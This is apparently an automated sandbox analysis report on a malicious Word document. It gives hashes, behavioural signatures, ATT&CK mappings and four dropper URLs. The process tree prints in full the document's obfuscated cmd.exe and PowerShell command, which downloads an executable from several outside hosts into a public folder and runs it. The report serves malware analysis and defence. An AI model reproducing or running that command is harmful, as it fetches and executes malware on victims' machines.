496f28c45a056ece930233ef9c15f5e227d9939706d8ff9868f8928cfd600149

General

Target

c88dd06b1f25fd0fc256ed2d874c6513_JaffaCakes118.doc
Size

154KB
MD5

c88dd06b1f25fd0fc256ed2d874c6513
SHA1

06df3a61cf1ba9f801f0c0e37ea3bc5e11f6a47d
SHA256

496f28c45a056ece930233ef9c15f5e227d9939706d8ff9868f8928cfd600149
SHA512

b0770e2fe4ecb7adb61cbec8c82a18e6301718294b266ff5a09ec75cfe8c9719da169617efd0f7ca8ae9a176fa1e709e9bfb26deeee6b006c8fac5b4d52aef2d
SSDEEP

3072:WgIg4KfNmKdXKDAfCzDSrvFf9kIy1GOsc3Uv6K:WVqNVXKDACzDSrNU4OscEv

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://h-g.at/ILM7q/

exe.dropper

http://ibchs.com/ah1B/

exe.dropper

http://hillmanmaritime.com/hcBm/

exe.dropper

http://body4art.de/v0tMR0a/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3028	868	Cmd.exe	83

Blocklisted process makes network request 4 IoCs

flow	pid	Process
23	4760	powershell.exe
26	4760	powershell.exe
35	4760	powershell.exe
38	4760	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4760	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
3028	Cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
868	WINWORD.EXE
868	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4760	powershell.exe
4760	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4760	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
868	WINWORD.EXE
868	WINWORD.EXE
868	WINWORD.EXE
868	WINWORD.EXE
868	WINWORD.EXE
868	WINWORD.EXE
868	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 868 wrote to memory of 3028	868	WINWORD.EXE	86
PID 868 wrote to memory of 3028	868	WINWORD.EXE	86
PID 3028 wrote to memory of 4760	3028	Cmd.exe	89
PID 3028 wrote to memory of 4760	3028	Cmd.exe	89

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c88dd06b1f25fd0fc256ed2d874c6513_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:868
- C:\Windows\SYSTEM32\Cmd.exe
  Cmd NjWrAVqAJ wtALGSuUvNbSvGOdlJzbwIS RqzaWaYjozknad & %^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %dzorojvQztjwdsv%=VidHjtjiE&&set %qzOaJjz%=p&&set %DSBvnYXniSDYD%=o^w&&set %hszGzFrskUajIpH%=bbfaFKFMVdGOJ&&set %SSKlzCXiGJEiUo%=!%qzOaJjz%!&&set %JjSFnHnwJAnrDsY%=hNsVRFSAHw&&set %zbFMQii%=e^r&&set %awidvwYlQzbApG%=!%DSBvnYXniSDYD%!&&set %VwYISNiEw%=s&&set %WmnkTzdjbkIiViT%=RbrjCShqoQNtrE&&set %ZcITwJNst%=he&&set %TtwiBlBmU%=ll&&!%SSKlzCXiGJEiUo%!!%awidvwYlQzbApG%!!%zbFMQii%!!%VwYISNiEw%!!%ZcITwJNst%!!%TtwiBlBmU%! "(' &( j4vPSHOMe[4]+j4vPShOme[34]+QjdxQjd) ( (QjdGIUnsQjd'+'+QjdadasdQjd+Qjd Qjd+Qjd= &Qjd+Qjd'+'(SGQjd+QjdxnSGx+SGxeQjd+QjdSGQjd+QjdxQjd+Qjd+SQjd+QjdGxw-objeQjd+QjdcSGx+SGxtSQjd+QjdGQjd+QjdxQjd+Qjd) random;GIUYY'+'U Qjd+Qjd= .(SGxneSGx+SGxwSGQjd+Qj'+'dxQjd+Qjd+SGxQjd+Qjd-obQjd+QjdjeQjd+QjdctSGx) SQjd+Qjdystem.NeQjd+Qjdt.WeQjd+QjdbQjd'+'+Q'+'jdClien'+'tQjd+Q'+'jd;GIQjd+QjdUNSQjd+QjdBQjd+Qjd = GQjd+QjdIUnsadasdQjd+Qjd.Qjd+Qjdnext(1'+'Qjd+Qjd0000, 28'+'213Qjd+Qjd3)Qjd+Qjd'+';GIUADCQjd+QjdXQjd+Qjd Qjd+Qjd= SQjd+QjdGx http:Qjd+Qjd/'+'/grazQjd+Q'+'jdiellacintrQjd+Qjda.com.bQjd+QjdrQjd+Qjd/aQjd+QjdkQjd+QjddQjd+QjdpqQjd+Qjd9Qjd+Qjd6Qjd+Qjd/@httQjd+Qjdp://h-g.at/ILM7q/@Qjd+QjdhtQjd+Qjdtp'+'://Qjd+Qj'+'dibchs.Qjd+Qjdcom/Qjd+Qjdah1B/@htQjd+QjdtpQjd+Qjd:/'+'/hilQjd+QjdlQjd+QjdmanmariQjd+Qjdtime.com/hc'+'BmQjd+Qjd/@Qjd+QjdhttQjd+Qjdp://bodyQjd+Qjd4art.dQjd+Qjde/vQjd+Q'+'jd0tQjd+QjdMR0a/SGx.Qjd+QjdSplit(SQjd+QjdGx@SGQjd+Qjdx)Qjd+Qjd;GQjd+QjdIUS'+'DQjd+QjdC Qjd+Qjd= GQjd+QjdIQjd+QjdUQjd+QjdeQjd+QjdnQjd+Qjdv:Qjd+QjdpuQjd+QjdbQjd+QjdlicQjd+'+'Qjd Qjd+Qjd+Qjd+Qjd SGQjd+Qjdx6SQS'+'Gx + GIQjd+QjdUNSQjd+QjdB + (Qjd+QjdSGxQjd+Qjd.Qjd+QjdexSGx+SGxeSGx);foreaQjd'+'+QjdchQjd+Qjd(GI'+'Uasfc in GIUADCX)Qjd+Qjd{tQjd+QjdrQj'+'d+Qjdy{Qjd+QjdGIQjd+QjdUQjd+QjdYQjd+QjdYU.Qjd+Qjds40DoMmQjd'+'+QjdjWn'+'Qjd+QjdlMmjQjd+QjdOaQjd+QjddFIMmQjd+QjdjQ'+'jd+Qjdles40(GIUasfQjd+QjdcQjd+Qjd.sQjd+Qjd40Qjd+QjdTQjd+QjdoStrMmQjd+QjdjiMmjNgsQjd+Qjd4Qjd+Qjd0(), GQjd+QjdIUS'+'DQjd+Qjd'+'C);&(SGxInvoSGQjd+Qjdx+SQjd+Qjd'+'GxkSQjd+QjdGx+SGxe-IQjd+Qjd'+'temSGx)(GQjd+QjdIUSDC);Qjd+QjdbreQjd+Qjdak;}caQjd+QjdtchQjd+Qjd{}}Qjd).rePlaCe(QjdMmjQjd,QjdpQeQjd).rePlaCe(([cHar]83+[cHa'+'r]71+[cHar]120),[sTRING'+'][cHar]39).rePlaCe(([cHar]115+[cHar]52+[cHar]48),[sTRING][cHar]34).rePlaCe(Q'+'jd6SQQjd,[sTRING][cHar]92).rePlaCe(QjdGIUQjd,[sTRING][cHar]36) ) ').RepLAcE(([ChAr]106+[ChAr]52+[ChAr]118),[STrIng][ChAr]36).RepLAcE(([ChAr]112+[ChAr]81+[ChAr]101),[STrIng][ChAr]96).RepLAcE('Qjd',[STrIng][ChAr]39)|& ( $sHeLLiD[1]+$ShELlId[13]+'x')
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:3028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "(' &( j4vPSHOMe[4]+j4vPShOme[34]+QjdxQjd) ( (QjdGIUnsQjd'+'+QjdadasdQjd+Qjd Qjd+Qjd= &Qjd+Qjd'+'(SGQjd+QjdxnSGx+SGxeQjd+QjdSGQjd+QjdxQjd+Qjd+SQjd+QjdGxw-objeQjd+QjdcSGx+SGxtSQjd+QjdGQjd+QjdxQjd+Qjd) random;GIUYY'+'U Qjd+Qjd= .(SGxneSGx+SGxwSGQjd+Qj'+'dxQjd+Qjd+SGxQjd+Qjd-obQjd+QjdjeQjd+QjdctSGx) SQjd+Qjdystem.NeQjd+Qjdt.WeQjd+QjdbQjd'+'+Q'+'jdClien'+'tQjd+Q'+'jd;GIQjd+QjdUNSQjd+QjdBQjd+Qjd = GQjd+QjdIUnsadasdQjd+Qjd.Qjd+Qjdnext(1'+'Qjd+Qjd0000, 28'+'213Qjd+Qjd3)Qjd+Qjd'+';GIUADCQjd+QjdXQjd+Qjd Qjd+Qjd= SQjd+QjdGx http:Qjd+Qjd/'+'/grazQjd+Q'+'jdiellacintrQjd+Qjda.com.bQjd+QjdrQjd+Qjd/aQjd+QjdkQjd+QjddQjd+QjdpqQjd+Qjd9Qjd+Qjd6Qjd+Qjd/@httQjd+Qjdp://h-g.at/ILM7q/@Qjd+QjdhtQjd+Qjdtp'+'://Qjd+Qj'+'dibchs.Qjd+Qjdcom/Qjd+Qjdah1B/@htQjd+QjdtpQjd+Qjd:/'+'/hilQjd+QjdlQjd+QjdmanmariQjd+Qjdtime.com/hc'+'BmQjd+Qjd/@Qjd+QjdhttQjd+Qjdp://bodyQjd+Qjd4art.dQjd+Qjde/vQjd+Q'+'jd0tQjd+QjdMR0a/SGx.Qjd+QjdSplit(SQjd+QjdGx@SGQjd+Qjdx)Qjd+Qjd;GQjd+QjdIUS'+'DQjd+QjdC Qjd+Qjd= GQjd+QjdIQjd+QjdUQjd+QjdeQjd+QjdnQjd+Qjdv:Qjd+QjdpuQjd+QjdbQjd+QjdlicQjd+'+'Qjd Qjd+Qjd+Qjd+Qjd SGQjd+Qjdx6SQS'+'Gx + GIQjd+QjdUNSQjd+QjdB + (Qjd+QjdSGxQjd+Qjd.Qjd+QjdexSGx+SGxeSGx);foreaQjd'+'+QjdchQjd+Qjd(GI'+'Uasfc in GIUADCX)Qjd+Qjd{tQjd+QjdrQj'+'d+Qjdy{Qjd+QjdGIQjd+QjdUQjd+QjdYQjd+QjdYU.Qjd+Qjds40DoMmQjd'+'+QjdjWn'+'Qjd+QjdlMmjQjd+QjdOaQjd+QjddFIMmQjd+QjdjQ'+'jd+Qjdles40(GIUasfQjd+QjdcQjd+Qjd.sQjd+Qjd40Qjd+QjdTQjd+QjdoStrMmQjd+QjdjiMmjNgsQjd+Qjd4Qjd+Qjd0(), GQjd+QjdIUS'+'DQjd+Qjd'+'C);&(SGxInvoSGQjd+Qjdx+SQjd+Qjd'+'GxkSQjd+QjdGx+SGxe-IQjd+Qjd'+'temSGx)(GQjd+QjdIUSDC);Qjd+QjdbreQjd+Qjdak;}caQjd+QjdtchQjd+Qjd{}}Qjd).rePlaCe(QjdMmjQjd,QjdpQeQjd).rePlaCe(([cHar]83+[cHa'+'r]71+[cHar]120),[sTRING'+'][cHar]39).rePlaCe(([cHar]115+[cHar]52+[cHar]48),[sTRING][cHar]34).rePlaCe(Q'+'jd6SQQjd,[sTRING][cHar]92).rePlaCe(QjdGIUQjd,[sTRING][cHar]36) ) ').RepLAcE(([ChAr]106+[ChAr]52+[ChAr]118),[STrIng][ChAr]36).RepLAcE(([ChAr]112+[ChAr]81+[ChAr]101),[STrIng][ChAr]96).RepLAcE('Qjd',[STrIng][ChAr]39)|& ( $sHeLLiD[1]+$ShELlId[13]+'x')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\TCDA455.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bqkefi42.nkh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\117628.exe

Filesize
176B

MD5
4c2fa063f933e154d100c730c74bdc9f

SHA1
da6c043b7925a94724e470405e010fa854579597

SHA256
30129dab19513d576c5bbb3774f8b63caf6fca402d8f5d4471b767d943248053

SHA512
93df313567db9a4e35525674c31b974658fdf03da849b93f70841532110d3aee3a5ebf4caade6790312cc6afc94a07510bb914b92a611686d4da48b82c60cce6

Download Submit
C:\Users\Public\117628.exe

Filesize
114B

MD5
e89f75f918dbdcee28604d4e09dd71d7

SHA1
f9d9055e9878723a12063b47d4a1a5f58c3eb1e9

SHA256
6dc9c7fc93bb488bb0520a6c780a8d3c0fb5486a4711aca49b4c53fac7393023

SHA512
8df0ab2e3679b64a6174deff4259ae5680f88e3ae307e0ea2dfff88ec4ba14f3477c9fe3a5aa5da3a8e857601170a5108ed75f6d6975958ac7a314e4a336aed0

Download Submit
memory/868-38-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-37-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-10-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-7-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-6-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-9-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-14-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-13-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-15-0x00007FFF4D640000-0x00007FFF4D650000-memory.dmp

Filesize
64KB

Download
memory/868-12-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-8-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-5-0x00007FFF4F9D0000-0x00007FFF4F9E0000-memory.dmp

Filesize
64KB

Download
memory/868-16-0x00007FFF4D640000-0x00007FFF4D650000-memory.dmp

Filesize
64KB

Download
memory/868-32-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-1-0x00007FFF8F9ED000-0x00007FFF8F9EE000-memory.dmp

Filesize
4KB

Download
memory/868-11-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-592-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-4-0x00007FFF4F9D0000-0x00007FFF4F9E0000-memory.dmp

Filesize
64KB

Download
memory/868-3-0x00007FFF4F9D0000-0x00007FFF4F9E0000-memory.dmp

Filesize
64KB

Download
memory/868-2-0x00007FFF4F9D0000-0x00007FFF4F9E0000-memory.dmp

Filesize
64KB

Download
memory/868-81-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-82-0x00007FFF8F9ED000-0x00007FFF8F9EE000-memory.dmp

Filesize
4KB

Download
memory/868-83-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-84-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-85-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-91-0x00007FFF8F950000-0x00007FFF8FB45000-memory.dmp

Filesize
2.0MB

Download
memory/868-0-0x00007FFF4F9D0000-0x00007FFF4F9E0000-memory.dmp

Filesize
64KB

Download
memory/868-589-0x00007FFF4F9D0000-0x00007FFF4F9E0000-memory.dmp

Filesize
64KB

Download
memory/868-590-0x00007FFF4F9D0000-0x00007FFF4F9E0000-memory.dmp

Filesize
64KB

Download
memory/868-591-0x00007FFF4F9D0000-0x00007FFF4F9E0000-memory.dmp

Filesize
64KB

Download
memory/868-588-0x00007FFF4F9D0000-0x00007FFF4F9E0000-memory.dmp

Filesize
64KB

Download
memory/4760-53-0x000001FC6D7E0000-0x000001FC6D802000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads